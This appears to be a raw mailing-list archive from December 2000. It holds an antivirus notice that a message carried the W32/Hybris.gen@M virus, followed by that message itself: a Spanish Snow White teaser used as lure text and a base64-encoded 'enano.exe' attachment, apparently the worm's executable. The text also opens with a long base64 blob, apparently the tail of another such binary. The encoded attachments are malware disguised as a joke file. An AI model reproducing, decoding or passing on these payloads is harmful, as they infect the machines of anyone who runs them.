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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA)-- From owner-ietf-outbound Tue Dec 26 13:51:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA21296 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 13:50:02 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu ([134.193.71.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20919 for ; Tue, 26 Dec 2000 13:40:41 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Dec 2000 12:40:41 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F3023666C7@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'ietf@ietf.org'" Subject: Antigen found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 12:40:40 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Loop: ietf@ietf.org You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Enanito si, pero con que pedazo!" Sent from: Hahaha At the email address of: hahaha@sexyfun.net Antigen for Exchange found the file: enano.exe Infected with the virus: W32/Hybris.gen@M . The file is: Deleted. The message was sent to: ,ietf@ietf.org The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-ietf-outbound Tue Dec 26 13:52:03 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA21352 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 13:50:35 -0500 (EST) Received: from smtp.prodigy.net.mx (dfproxy03.prodigy.net.mx [148.235.168.59] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20701 for ; Tue, 26 Dec 2000 13:25:03 -0500 (EST) Received: from prodigy (du-148-233-180-29.prodigy.net.mx [148.233.180.29]) by SMTP.Prodigy.Net.mx (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with SMTP id <0G6600M57TGPNU@SMTP.Prodigy.Net.mx>; Tue, 26 Dec 2000 12:17:24 -0600 (CST) Date: Tue, 26 Dec 2000 12:17:24 -0600 (CST) Date-warning: Date header was inserted by SMTP.Prodigy.Net.mx From: Hahaha Subject: Enanito si, pero con que pedazo! To: ietf@ietf.org Message-id: <0G6600M58TGPNU@SMTP.Prodigy.Net.mx> MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA)" X-Loop: ietf@ietf.org --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA) Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: QUOTED-PRINTABLE Faltaba apenas un dia para su aniversario de de 18 a=F1os. Blanca de = Nieve fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una *= grande* sorpresa para su fiesta de complea=F1os. Al entardecer, llegaron. Ten= ian un brillo incomun en los ojos... --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA) Content-type: application/octet-stream; name=enano.exe Content-disposition: attachment; filename=enano.exe Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAALRMzSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQRQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAFYAAAAAAAAAAAAAABAA AAAQAAAAAAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAhwAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAGAAAAAQAACoVAAAAAIA AAAAAAAAAAAAAAAAACAAAOAucmRhdGEAAAAQAAAAcAAAWgAAAABYAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADr FqhUAABCQ1BCSE5LTwATBkhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8AAAAXqE1Cifa HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/ lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA AAAAVv+UJHwCAACFwHQcVWiAAAAAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW V/+UJMACAACFwA+FQv///8eEJLwCAAAAAAAAxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+AAAAIt67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z 